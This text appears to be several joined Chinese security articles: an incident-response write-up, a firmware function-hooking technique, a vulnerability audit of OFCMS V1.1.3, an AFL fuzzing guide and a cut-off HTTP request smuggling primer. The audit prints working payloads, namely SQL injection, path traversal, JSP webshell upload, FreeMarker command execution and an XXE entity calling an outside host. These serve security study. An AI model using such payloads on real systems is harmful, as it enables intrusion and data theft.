记一次服务器应急排查"新"路历程
0x01 事情概述 前一段时间接到了销售给过来的消息说某单位服务器出现问题了,但是出问题的是某云服务器,出现外联德国的行为,告警行为远控,可能没有日志,还比较急,让先支持处置,有可能的话帮忙溯源好抓人,给了个处置对的第三方师傅。 0x02 分析 毕竟给的信息是外联远控,如果是外联的情况下一般就要考虑是否是灰黑产,这种情况下出现在个人终端的可能下要大于服务器,所以这个时候基本上就是杀毒,沙箱运行看是否会出现外联行为,如果是远控类木马的情况下,一般服务器被上传的可能性比较高,钓鱼类的可能是个人终端,这是基于服务关系来分析的。 0x03 远程处置 第三方老师傅给了个vpn让先给远程看一下,正常情况下肯定是先要考虑备份镜像,在镜像中做操作,如果需要备份镜像的话这里我推荐使用``FTK``,备份之后再转格使用vm打开就ok了,比较容易上手操作。在物理机上直接操作会破坏证据,但是根据给的外联地址去进行信息搜集肯定是攻击者挂的代理地址,没有实际意义,没有高交互的蜜罐的条件下想要实现反制和溯源的基本上是没有可能的。 0x04 排查 火绒杀毒 windows日志查询 eventvwr 发现日志并未被清除,如果说是实现了远控,起码就操作者行为来讲,还是讲武德的。 windows日志分为五类 应用程序日志 安全日志 Setup日志 #安装日志 系统日志 Forwarded Events日志 #转发日志 这里主要看应用程序日志和安全日志即可,应用程序日志即安装应用程序产生的事件,安全日志主要记录用户操作产生的日志,例如登入/登出,清除日志等。 事实上并没有异常的登录事件,从出现问题到服务器关掉的登录事件以及操作日志来说也没有问题 查看定时任务 翻了一遍定时任务并未有新创建的定时任务 熟悉winserver2012的都清楚装机初始的自动任务都存在,另外无其他特殊的计划任务。 net user 无新增用户 就单纯从业务来讲,不牵涉到内网部分,所以也根本不担心内网横向的风险。断网条件下是无法通过查看连接状态判断是什么程序触发的,分析业务盘的文件 这个时候服务没有起,可以发现使用的中间件,jar包是2017年的,但是有没有打补丁不清楚,因为我没找到的patch文件以及其它像是weblogic的补丁jar包,这里可能会有人有疑问,没看见包就没打补丁么,不接受杠精提问,只是分析而已,这个时候跟开发和运维对接可以确定中间件服务对公网有映射,查看文件目录,因为查杀结果并没有出来,在文件目录下发现存在恶意文件 冰蝎马不是吗? 但是问题来了文件的属性日期不会欺骗人,出现问题的时间是今年,但是这个文件属性是去年的,这就有点儿意思了,除非还有一种可能,有其它木马或者说是之前被利用未告警的。查看杀毒结果 找到文件分析,该木马家族:CoinMiner的行为特征 根据情报库去找 归属地是德国的,其实这种情况下已经可以交差了。但是令我比较在意的是中间件的RCE,因为涉及到数据问题,第三方的师傅要求到单位使用镜像内网复现。 确实找到了上传点,确定上传路径 xxx/xxx/x/x/x/x/x/x/mages/shell2.jsp http://10.xxxxxxxxxxxxxxxxxx/images/shell2.jsp 连接木马可成功 这时候有从云厂商那里要来的日志,量很少,但是没有关于weblogic利用的日志 这是比较有意思的,到这里其实只有一种情况,服务器是去年被入侵的,但是收到的通知是异常外联远控,可能只是基于情报库而不是从很长一段时间的监测为根据,只能说是意外发现了。 实验推荐 实验:内存镜像取证(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID6a2f-ed6f-4f85-9363-731535a5c3c4>>
二进制固件函数劫持术-DYNAMIC
背景介绍   固件系统中的二进制文件依赖于特定的系统环境执行,针对固件的研究在没有足够的资金的支持下需要通过固件的模拟来执行二进制文件程序。依赖于特定硬件环境的固件无法完整模拟,需要hook掉其中依赖于硬件的函数。  LD_PRELOAD的劫持  对于特定函数的劫持技术分为动态注入劫持和静态注入劫持两种。静态注入指的是通过修改静态二进制文件中的内容来实现对特定函数的注入。动态注入则指的是在运行的过程中对特定的函数进行劫持,动态注入劫持一方面可以通过劫持PLT表或者GOT表来实现,另一方面可以通过环境变量LD_PRELOAD来实现。  在《揭秘家用路由器0day漏洞挖掘》中作者针对D-link DIR-605L(FW_113)路由器中的Web应用程序boa,通过hook技术劫持 apmib_init()和apmib_get()函数修复boa对硬件的依赖,使得qemu-static-mips可以模拟执行,在文中作者通过LD_PRELOAD环境变量实现对函数的劫持。网上针对LD_PRELOAD的劫持也有大量的描述。但是LD_PRELOAD仍旧不是普适的。  存在的问题  LD_PRELOAD环境变量的开关在编译生成ulibc的时候指定,当关闭该选项的时候,无法使用LD_PRELOAD来预加载指定的动态链接库文件。  固件的二进制文件中会将二进制文件中的Section信息去除掉,只保留下Segment的信息,使得无法通过patchelf来增加动态链接库实现劫持。patchelf 支持对二进制文件的patch修改,或者添加执行过程中的链接lib。  本文方案思路  在ELF文件中,存在DYNAMIC Segment,ld.so通过该段内容来加载程序运行过程中需要的lib文件,图1为在IDA中反编译后查看的DYNAMIC段的内容。 图1 Elf32_Dyn结构体数组  DYNAMIC段介绍  dynamic 段开头包含了由N个Elf32_Dyn组成的结构体,该结构体的D_tag代表了结构体的类型。d_un为通过union 联合的指针d_ptr或者对应的结构体的值d_val。 typedef struct {     Elf32_Sword d_tag;     union {         Elf32_Word d_val;         Elf32_Addr d_ptr;     } d_un; }Elf32_Dyn;   d_tag字段保存了类型的定义参数,详见ELF(5)手册。下面列出了动态链接器常用的比较重要的类型值  1-DT_NEEDED 该类型的数据结构保存了程序所需要的共享库的名字相对字符串表的偏移量  2-DT_SYMTAB 动态符号表的地址,对应的节名为.dynsym  3-DT_HASH 符号散列表的名称,对应的节名为.hash又称为.gnu.hash  4-DT_STRTAB 符号字符串表的地址,对应的节名为 .dynstr  5-DT_PLTGOT 全局偏移表的地址  如上各个字段对应到 IDA 中显示如下,d_tag字段代表了动态段的类型,当该值为1的时候。表示程序依赖的共享库的名字,其对应的d_val表示了是要加载的lib的名称在string table中的偏移。  共享库文件名对应的结构体的类型值为0x01,如图2所示,0x4001C4-0x4001E4保存有5个二进制文件所依赖的共享库名字,其D_VAL的值是指向string table的偏移量。 图2 DT_NEEDED 共享库依赖图  DYNAMIC段的定位  从二进制文件头起始定位DYNAMIC段的流程如下:  ELF_HEADER->Program Header -> DYNAMIC Program  ELF_HEADER中保存有Program Header的偏移 图3 ELF Header  Program Header中保存有Dynamic Segment 的相关结构体信息 图4 Program Header  展开该结构体,可以找到Dynamic段在文件中的偏移量0x140h Program Header结构体  DT_NEEDED伪造  动态段由dynamic的结构体数组组成,dynamic的结构体定义如下:  在dynamic和elf_hash之间仍存在一段空余空余可填充空间。本文利用该段空间填充,实现特定lib的加载。  本文方案实验与测试  利用dynamic和elf_hash之间的空余区域,在该区域伪造出新的dynamic的一个数组。如下图,不修改二进制文件大小,伪造增添ibcjson.so,使得二进制文件加载 ibcjson.so。在ibcjson.so中编写对应的劫持函数。  思路: 将原有的Elf32_Dyn数组元素依次后移,并在该数组的首部添加伪造的ibcjson.so,该lib的命名可以选用string table中的任一字符串即可。  核心移动代码,将Elf32_Dyn中的元素依次后移一个,dynamic段 dynamic[0]元素作为要伪造填充的数据,在本文的实验中,将dynamic[0]中的value值加1。由于在MIPS下存在大小端两种架构,在小端机器上的代码解决大端架构的填充伪造时要注意大小端的转换问题。 void move_dynamic(char* buf){     int x = 0;     Elf32_Dyn* dyn = (Elf32_Dyn *)buf;     while(1){         if(dyn[x].d_tag == 0 && dyn[x].d_un.d_ptr == 0){             break;         }         x++;         if(x>100) {             printf("Error break\n");             break;         }     }     while(x--){         //printf("the index x is %x\n",x);         mem_cpy(&dyn[x],&dyn[x+1],8);     }     dyn[x+1].d_un.d_val = b2l(l2b(dyn[x+1].d_un.d_val) + 1); }  测试环境   TOTOLink N210RE中boa程序,劫持函数参考DIR605A,劫持apmib_init以及apmib_get   该固件的ld,关闭了LD_PRELOAD程序选项,未提供/etc/ld.preload   劫持函数代码,采用了《揭秘家用路由器漏洞挖掘》提供的示例代码如下,在原有的基础上,增加printf来查看显示是否劫持成功。 #include<stdio.h> #define MIB_HW_VER 0x250 #define MIB_IP_ADDR 170 #define MIB_CAPTCHA 0x2C1 int apmib_init(void){         printf("helllo");         return 1; } int fork(void){         return 0; } void apmib_get(int code,int *value){         switch(code){                 case MIB_HW_VER:                         *value = 1;                         break;                 case MIB_IP_ADDR:                         *value = 1;                         break;                 case MIB_CAPTCHA:                         *value = 1;                         break;         }         return; }  通过mips-linux-gcc进行编译,这里注意mips-linux-gcc在编译过程中的编译文件的位置要位于参数之后(踩坑了!!!!)  mips-linux-gcc -Wall -fPIC -shared apmib.c -o ibcjson.so  通过如下代码,给原有的boa二进制文件添加一个dynamic #include<stdio.h> #include <stdio.h> #include <stdlib.h>  #include "elf.h" #define PATCH "boa_patch" int b2l(int be) {     return ((be >> 24) &0xff )         | ((be >> 8) & 0xFF00)         | ((be << 8) & 0xFF0000)         | ((be << 24));     } char* buf = NULL; int l2b(int le) {      return (le & 0xff) << 24             | (le & 0xff00) << 8             | (le & 0xff0000) >> 8             | (le >> 24) & 0xff; } static char *_get_interp(char *buf) {    int x;     // Check for the existence of a dynamic loader    Elf_Ehdr *hdr = (Elf_Ehdr *)buf;    Elf_Phdr *phdr = (Elf_Phdr * )(buf + l2b(hdr->e_phoff));       printf("the phdr address is: 0x%x 0x%x 0x%x 0x%x\n",phdr,l2b(hdr->e_phoff),buf,sizeof(hdr->e_phoff));    for(x = 0; x < hdr->e_phnum; x++){       if(l2b(phdr[x].p_type) == PT_DYNAMIC){          // There is a dynamic loader present, so load it          return buf + l2b(phdr[x].p_offset);       }    }     return NULL; } int mem_cpy(char* src,char* dst,int len){     printf("the src addr is %x , %x\n",src-buf,dst-buf);     for(int x=0;x<len;x++){         dst[x]=src[x];     }     return 0; } /* 1 2 3 4 temp = 2 strcpy(1,2) 1 2 strcpy()  */ void move_dynamic(char* buf){     int x = 0;     Elf32_Dyn* dyn = (Elf32_Dyn *)buf;     //Elf32_Dyn tmp_dyn;     //mem_cpy()     while(1){         if(dyn[x].d_tag == 0 && dyn[x].d_un.d_ptr == 0){             printf("the x is %d\n",x);             break;         }         x++;         if(x>100) {             printf("Error break\n");             break;         }     }     while(x--){         //printf("the index x is %x\n",x);         mem_cpy(&dyn[x],&dyn[x+1],8);     }     dyn[x+1].d_un.d_val = b2l(l2b(dyn[x+1].d_un.d_val) + 1);     //FILE* fw = fopen("") } void analyse(char* buf){     char* phdr_address = NULL;     phdr_address = _get_interp(buf);     printf("phdr address:  0x%x\n",phdr_address-buf);     move_dynamic(phdr_address);  } void save_binary(char* buf,int size){     FILE* fw = fopen(PATCH,"wb");     fwrite(buf,size,1,fw);     fclose(fw); } int main(int argc,char *argv[],char* envp[]){     if(argc < 2){         printf("not enough argc\n");     }     FILE* fp = fopen(argv[1],"rb");      fseek(fp,0,SEEK_END);     int size = ftell(fp);     fseek(fp, 0L, SEEK_SET);     buf = malloc(size);     fread(buf,size,1,fp);     analyse(buf);     save_binary(buf,size);     free(buf);     return 0;  }  Makefile如下 all: elf.h analyse_ph.c gcc analyse_ph.c -m32 -g3 -o analyse ./analyse boa_real_n210  针对N210RE 的测试截图如下,通过export LD_LIBRARY_PATH使得程序加载ibcjson.so,成功劫持boa,输出helllo  Ubuntu下rand函数劫持测试  rand函数的头文件是stdlib.h  编写rand.c #include<stdio.h> #include<stdlib.h> int main(){     int a = 0;     a = rand()%100;     printf("the a is %d\n",a);     return 0; } //gcc -m32 rand.c -o rand  编写rand_hook.so #include<stdio.h> int rand(){     printf("hook !\n");     return 100; } //gcc -fPIC -Wall -shared -m32 rand_hook.c -o rand_hook.so  使用LD_PRELOAD测试,成功实现对该函数的劫持  使用patch,针对dynamic段元素添加伪造,测试rand_patch,依赖的库文件增加了ibc.so.6,ibc.so.6需要通过export LD_LIBRARY_PATH导入ibc.so.6的文件路径  实现对rand的劫持  总结  本文通过研究二进制文件中的dynamic段,通过修改二进制文件增加依赖共享库,可以解决在模拟固件的过程时,固件缺少节信息且固件函数无法通过LD_PRELOAD劫持的问题。该方案仍有不足之处,对于ld加载共享库的依赖顺序、共享库劫持的底层原理尚未深入探究。  参考  《揭秘家用路由器0day挖掘技术》  《二进制分析实战》
某内容管理系统最最最详细的代码审计
前言  刚好遇到一个授权的渗透是通过该cms实现getshell,所以顺便审计一下java类的cms,这个管理系统是一个内容管理系统,下载地址 https://gitee.com/oufu/ofcms/tree/V1.1.3/ tomcat下载地址 https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.78/bin/apache-tomcat-8.5.78-windows-x64.zip 这里我选择8.5.78  环境搭建 idea ofcms V1.1.3 tomcat 8.5  idea直接创建新建项目,自动导入xml文件,配置启动服务器  导入sql文件 mysql -uroot -pxxxxxxx use ofcms source /路径.ofcms-v1.1.3.sql show tables;  这里需要注意一点儿,源码确实,无法打包war'包,解决不掉artifacts的问题  配置端口  启动tomgcat的时候会乱码,修改tomcat的配置文件tomcat->config->logging.properties  更改所有utf8的格式为GBK  配置maven,整一个恶心的想吐 <mirror>     <id>alimaven</id>     <mirrorOf>central</mirrorOf>     <name>aliyun maven</name>     <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>   </mirror>  重建项目  启动服务,但是之前需要修改配置文件中的数据库的连接的字段用户名和密码,这里会报错,所以修改配置文件直接创建完成了数据库在上面导入数据库的时候跳过安装步骤。 首页地址: localhost:8099/ofcms_admin 后台地址:localhost:8099/ofcms_admin/admin/login.html admin/123456  审计分析  SQL注入  文件结构目录  因为已知漏洞都存在于后台,直接审计后台文件,首先定位到控制层代码,  因为已经不通通过安装启动web服务,这里不需要分析安装控制层,看首页  出于对代码的尊重,跟了一波增加sql语句的处理,但是存在sql注入的过滤器,  直接触发增加用户接口  其实可以直接看出来,在第50行的时候已经使用put方法增加了管理员用户,然后new了一个对象record存放存入的其它参数的数据,再往下的时候根据record的值判断用户的类型,向下56行F7跟进,一直跟到类sqlpara的setsql方法进行插入  在这里的时候插入的是创建时的创建时间等字段,并没插入我们传入的详细信息,但是在类sysusercontroller中的57行中十对创建的用户sss创建id编号,此时用户以及数据的插入时在58行执行结束时完成,已经写进了数据库。 但是这里没有测试存在注入点儿,注入点存在于代码生成->新增  手动测试有回显sql=1'  猜测可能存在报错注入,构造payload update of_cms_api set api_name=updatexml(1,concat(0x7e,(user())),0) where api_id=2 \ofsoft\cms\admin\controller\system\SystemGenerateController.java下断点分析  47行,F7跟进  返回的sql参数的内容未作任何过滤,48行F7跟进  98行跟进update方法  256行直接连接数据库进行更新,最后抛出异常,报错回显出数据库用户名root  存储型XSS  分析代码,  所以这里出现存储型XSS的地方不止这一个触点儿,包括前台,Ueditor编辑器的原因。  任意文件读取  查看文件模板,模板文件连接如下 http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=/&dir_name=/  可控参数dir,payload如下 http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=contact.html&dir=../../../&dir_name=/  控制字段file_name读取文件 http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?file_name=jquery-1.10.1.min.js&dir=../../..//resource/default/static/lib&dir_name=/lib  漏洞分析  查看模板文件的时候,传入的dir参数以及updir的参数都为空  这里是对路径文件类型做判断,读取模板文件,所这里任意文件读取也只是针对任意模板文件读取,读取文件名的控制参数数为filename  根据debug分析,当传入的payload为 http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html?dir=../  测试根据断点看出,我们传入的参数dir为../  在65行的时候未对传入的参数dir做过滤,这个时候已经拿到了模板目录  读取通过循环遍历使用文件名读取  在调试的时候发现,我们访问目录。这里访问comn  在控制层TemplateController内调用函数getSiteTemplatePath()  F7跟进,在类file.java中对路径进行了直接拼接  所以只要调用file函数拼接的参数也必定会产生"任意"文件读取。那么所能使用的payload如下 ?dir=../ ?up_dir=../ #含文件名 ?file_name=page.html&up_dir=../comn ?file_name=page.html&dir=../comn  文件上传实现webshell  刚好该类这里又save方法调用了上面的函数,所以我们可以保证我们上传文件的路径是可控的  尝试构造数据包  此时已经成功保存,但是通过文件读取是读不到文件的,实际上已经写进去了,因为在读取文件的时候限制了读取的文件类型,可以尝试保存一个html  验证是可以写入的,那么直接写入jsp木马实现webshell  最后一个断点执行结束,此时shell已成功写入 http://localhost:8099/ofcms_admin/static/1.jsp  SSTI模板注入  同样在save模板的时候我们分析,在125行的时候传入file文件以及文件内容  f7跟进函数,发现在类fileutils中的,writestring方法中在78行的时候拿到的string还是我们在前端输入的内容  继续F7跟进函数  这里直接对string进行了编码  payload <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}  访问 http://localhost:8099/ofcms_admin/about.html  所以这里漏洞的触发点也很多,html页面都可以,当然也可以利用上面的文件上传进行写入页面调用也可以触发。漏洞的触发原理可参考这个文章 http://t.zoukankan.com/Eleven-Liu-p-12747908.html 很清晰  XXE漏洞  直接分析漏洞代码下断点 ofcms-V1.1.3\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\ReprotAction.java  前端功能模块导出  定位到控制器处理方法,在 com.ofsoft.cms.admin.controller.ReprotAction类的 expReport 方法中。  使用上文的任意文件读取,在静态页面下放入我们写入的jrxml文件,文件命名为xxe.jrxml,构造payload POST /ofcms_admin/admin/cms/template/save.json HTTP/1.1 Host: localhost:8099 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 394 Origin: http://localhost:8099 Connection: close Referer: http://localhost:8099/ofcms_admin/admin/cms/template/getTemplates.html Cookie: JSESSIONID=FCF2920F5C1C3ECAC592420888B66674; Phpstorm-63ee32fd=c3d51684-64a8-4398-bce8-86b8077fb103; XDEBUG_SESSION=XDEBUG_ECLIPSE file_path=G%3A%5Cofcms113%5Capache-tomcat-8.5.78%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=index.html&file_content=%3c%21%44%4f%43%54%59%50%45%20%70%6f%65%6d%20%5b%3c%21%45%4e%54%49%54%59%20%25%20%78%78%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2  文件内容的payload <!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.166.128:8081">%xxe; ]>  直接访问 http://localhost:8099/ofcms_admin/admin/reprot/expReport.html?%20j=../../static/xxe  漏洞成因是调用了 getParamsMap 方法,获取用户提交的所有参数,并将 j 参数赋值给 jrxmlFileName ,服务器接收用户输入的 j 参数后,拼接生成文件路径,可直接穿越其它目录,但是限制了文件后缀为 jrxml,所以文件名命名为jrxml  先调用getParamsMap 方法  而后调用JasperCompileManager.compileReport() 方法  F7跟进,在 compile方法中调用 JRXmlLoader.load() 方法,F7跟进,在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档对象,默认是没有禁用外部实体解析,所以xxe文件能执行。  总结  抛开白盒审计不说,sql注入实现比较简单,黑盒状态下也可知道用户名实现,跨站类可以通过js类的实现对用户的上线,高危的文件读取和webshell以及xxe,总的来说都是在文件读取目录遍历的基础上实现的,否则对于二次开发的网站抛开任意文件读取这个漏洞来说是无法实现webshell的。
AFL--模糊测试使用浅析
一、AFL简介   AFL(American Fuzzy Lop)是由安全研究员Micha Zalewski 开发的一款基于覆盖引导(Coverage-guided)的模糊测试工具,它通过记录输入样本的代码覆盖率,从而调整输入样本以提高覆盖率,增加发现漏洞的概率。 ①从源码编译程序时进行插桩,以记录代码覆盖率(Code Coverage); ②选择一些输入文件,作为初始测试集加入输入队列(queue); ③将队列中的文件按一定的策略进行“突变”; ④如果经过变异文件更新了覆盖范围,则将其保留添加到队列中; ⑤上述过程会一直循环进行,期间触发了crash的文件会被记录下来。  二、AFL安装、测试  1.安装AFL  下载源码  Make  llvm_mode安装  之后输入以下命令进行安装  2.AFL测试  下载一个有缺陷的c文件  使用 afl-gcc/afl-clang 编译  生成一些种子语料库  开始fuzz  提示修改/proc/sys/kernel/core_pattern  再次运行之前的代码可看到fuzz进度  现在就表示我们的ACL已经安装成功了,注意出现(odd,check syntax!)是表示样例根本没有进入到测试中去,需要调整语料库。  Ctrl+C打断可以在out文件里看见我们的测试信息  3.并行fuzz测试  每个afl-fuzz进程占用CPU的一个核,实际上如果是多核的主机,AFL就可以并行工作  首先先看自己有多少内核  以上可以看出有四个内核意味着可以同时运行4个实例  首先指定主实例   -M 用于主实例,将 -S 添加到所有从属实例。它们可以相互同步  主实例:afl-fuzz -M master -i in/ -o out/ -m none -- ./imgRead_afl @@  从实例:afl-fuzz -S slave1 -i in/ -o out/ -m none -- ./imgRead_afl @@  在之前的out文件夹会多出俩个不同的文件夹masterh和slave1  现在尝试假如我们一次性运行5个实例会怎么样  在运行第5个实例后报错,其他实例不受影响,也可以确定4个核在运行中  三、AFL模糊测试libjpeg-turbo  libjpeg是专门处理Jpeg解码、编码、转码的自由软件库。libjpeg-turbo是其fork版本,还有一个基于libjpeg-turbo的fork的版本是MozJpeg。  1.编译libjpeg-turbo  首先下载libjpeg-turbo  之后需要修改cmakelist.txt,进行插桩编译  在cmakelist.txt中,在cmake_minimum_required命令下添加编译器选项,在前面添加,免得被覆盖,进行插桩编译  之后在libjpeg-turbo文件夹下  mkdir build  cd build  cmake ..  make  sudo make install     安装好之后build的内容如下  之后利用程序的示例对是否成功安装libjpeg-turbo库进行测试  该函数有俩个参数  一个输入文件名,一个作为输出文件名  具体作用就是调用了turbojpeg.h这个库函数对输入的jpg图片进行压缩  因为修改了cmake中的编译器设置,应该库函数里已经是被插过桩的,所以在编译时是可以不用afl-gcc编译也可以进行检测  这样是可以生成可执行文件,也可以实现压缩图片的功能,这里也对之前的样例进行了修改,只接收一个变量,并且不对压缩文件进行保存  但在进行模糊测试时出现以下问题  没有插桩信息,无法进行测试  发现它是动态编译的,虽然应该其动态链接库是插过桩的。但最后已知没有实现。这里最后考虑是想通过链接静态库实现。也是在网上查询未果后,发现在根目录下输入  make test,可以调用他自己的样例进行测试,这其中就包括了静态链接的测试  在一个静态链接测试的项目下,查看其ling.txt,得到静态编译的方式  最后对自己的编译自己的样例  之后开始模糊测试  总共测试次数超过1亿次,开了4个并行  4个样例的的最开始输入都是不一样的,可以从路径速度和总量上看出明显的区别,确实libjpeg-turbo在更新2.0之后,其安全性能得到了极大的提升,没有收到一个报错信息。  2.内存错误检查工具  这里有很多的内存检查工具,这里举个大概,只大概研究ASAN (-fsanitize=address)的使用和与AFL测试的结合  这里测试了几个漏洞文件以此来明晰ASAN的作用  编译文件模板如下  g++ -fsanitize=address -fno-omit-frame-pointer -o t xxx.cpp  这里只对几种漏洞进行展示  use-after-fee         可以看到漏洞的名称和发生的内存地址  stack buffer overflow  还有很多其他类型的漏洞可以进行检测  https://www.jianshu.com/p/3a2df9b7c353  在AFL中启用ASAN的方式也比较简单  在make时加上AFL_USE_ASAN=1  注意之后编译文件时需要加上启用asan的参数,不然会报错  3.构造自己的字典  AFL自带自己的一个字典库,主要用于各种变异操作的  如下是AFL的jpeg的字典  为了符合jpeg图片的实际,需要分析在jpeg中出现次数多且固定的字符  这里挑选一些频率较高的字符加入字典  这里挑选的字符主要来源自各种jpeg的开头部分  之后如果要使用字典需要使用-x参数进行指定字典文件  https://paper.seebug.org/496/#dictionary  4.语料库蒸馏  afl-cmin的核心思想是:尝试找到与语料库全集具有相同覆盖范围的最小子集。 举个例子,假设有多个文件,都覆盖了相同的代码,那么就丢掉多余的文件。  最后只留下一个文件  afl-tmin(减小单个输入文件的大小)  afl-tmin有两种工作模式,  instrumented mode和crash mode。默认的工作方式是instrumented mode  后面查资料得到tmin只能处理文件,文件夹需要修改脚本  精简到0bytes,后面在网上看到了相似的例子,这和tmin的精简策略有关,确实存在这种情况。  如果加上了参数-x,就会调用crash mode模式,会把导致程序非正常退出的文件直接剔除。这里测试的样例并没有crash例子,所以不进行测试。  5.持久模式  在持久模式下,AFL 仅模糊部分程序,而不是整个程序。当只想模糊复杂软件中的特定功能时,这很有用。与分叉服务器模式相比,这提供了许多速度改进。  具体例子如下:  对想要进行的部分进行修改  此时修改的文件是turbojpeg.c  再修改cmakelist.txt如下  之后对库进行重新编译  编译方式  再进行afl-fuzz(与之前一致)  速度上确实比之前的速度要快,最快时比之前要快上俩倍多  6.Afl-cov使用  可以快速帮助我们调用lcov和gcov处理来自afl-fuzz测试用例的代码覆盖率结果  安装  GCOV,它随gcc一起发布,所以不需要再单独安装,和afl-gcc插桩编译的原理一样,gcc编译时生成插桩的程序,用于在执行时生成代码覆盖率信息  LCOV,它是GCOV的图形前端,可以收集多个源文件的gcov数据,并创建包含使用覆盖率信息注释的源代码HTML页面。  这里也可以使用apt-install afl-cov来安装,不过看网上建议这个版本实际使用上会有问题,所以这里还是直接下载源码  为了实现检查覆盖率需要修改cmakelist.txt如下  再次编译库  编译文件  这里的afl-cov选择实时监控 也就是添加--live,先启动afl-cov,后启动afl-fuzz,当afl-fuzz退出时,afl-cov就会跟着退出  启动afl-cov的命令  /home/user/Desktop/afl-cov/afl-cov -d afl-cc --live --enable-branch-coverage -c . -e "cat AFL_FILE | ./ttt AFL_FILE" --overwrite  -d是之后afl-fuzz的输出文件,-c是直向源码文件的,在编译.c文件后,会生成一个.gno文件,-c 后面跟该文件的目录  启动afl-fuzz(与之前一致)  Afl-fuzz退出后,afl-cov需要等一会才能正常退出,此时就可以看见生成分析的网页了  也可以针对已经生成的数据直接开启afl-cov,但要求编译已经加上了-fprofile-arcs -ftest-coverage   网页首页  也可以进入到文件里,查看具体语句的执行次数  7.afl_postprocess使用  它最主要的作用就是可以规定生成种子的格式  作者在github上的样例的作用是让每个测试用例开头的标头都是GIF89a  https://github.com/mirrorer/afl/blob/master/experimental/post_library/post_library.so.c  编译方法  gcc -shared -wall -O3 post_library.so.c -o post_library.so  可以看看afl-fuzz.c对该方法的支持  获取AFL_POST_LIBRARY环境变量的值,自动加载afl_postprocess函数  这里推荐使用export设定环境变量,需要说明的是export的环境变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,shell关闭了,变量也就失效了,再打开新shell时就没有这个变量,需要使用的话还需要重新定义。如果需要一直使用,需要修改配置文件,方法推荐  https://blog.csdn.net/wx_it/article/details/118450790  加载后处理器库成功  也可以看到我们的测试样例变成了GIF格式,后处理库有效。  测试其他的例子  这部分需要注意的是对源码的处理,确保样例格式的满足输入的要求   参考资料 file:///C:/Users/antvsion/Desktop/AFL--%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E4%BD%BF%E7%94%A8%E6%B5%85%E6%9E%90.html#0https://paper.seebug.org/841/https://paper.seebug.org/842/ https://securitylab.github.com/research/fuzzing-challenges-solutions-1/ https://securitylab.github.com/research/fuzzing-sof  实验推荐  实验:Fuzz之AFL(蚁景网安实验室) https://www.yijinglab.com/expc.do?ce=7ffeb07e-680b-4490-8667-cf66b362635c>>
协议层安全相关《http请求走私与CTF利用》
0x00 前言  最近刷题的时候多次遇到HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx<1.17.7 请求走私漏洞),具体讲就是通过nginx的走私漏洞访问到Weblogic Console的登录页面,然后打Weblogic历史漏洞读取flag。当时做那道题的时候对走私漏洞没有深入理解,今天打ISCC2022的时候又遇到了一道利用gunicorn<20.04请求走私漏洞绕waf的题目,因此好好学习一下还是很有必要的。  0x01 发展时间线  最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。  https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf   在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。  https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf  在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。  0x02 什么是请求走私  当今的web架构中,单纯的一对一客户端---服务端结构已经逐渐过时。为了更安全的处理客户端发来的请求,服务端会被分为两部分:前端服务器与后端服务器。前端服务器(例如代理服务器)负责安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,并对每一个请求都进行响应。但是在这个过程中要保证前端服务器与后端服务器的请求边界设定一致,如果前后端服务器对请求包处理出现差异,那么就可能导致攻击者通过发送一个精心构造的http请求包,绕过前端服务器的安全策略直接抵达后端服务器访问到原本禁止访问的服务或接口,这就是http请求走私。  听起来是不是有点像SSRF?不过SSRF与HTTP请求走私是有差别的,SSRF是直接利用内网机器来访问内网资源,但请求走私不是。用一张portswigger报告中经典的图来理解一下,有一种夹带私货的感觉,或许这就是被称为走私漏洞的原因吧:    0x03 漏洞成因与常见类型  http请求走私攻击比较特殊,它不像常规的web漏洞那样直观。它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。因此,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了安全风险。  在学习之前我们先了解一下HTTP1.1中使用最为广泛的两种特性:Keep-Alive&Pipeline。  Keep-Alive&Pipeline  所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。  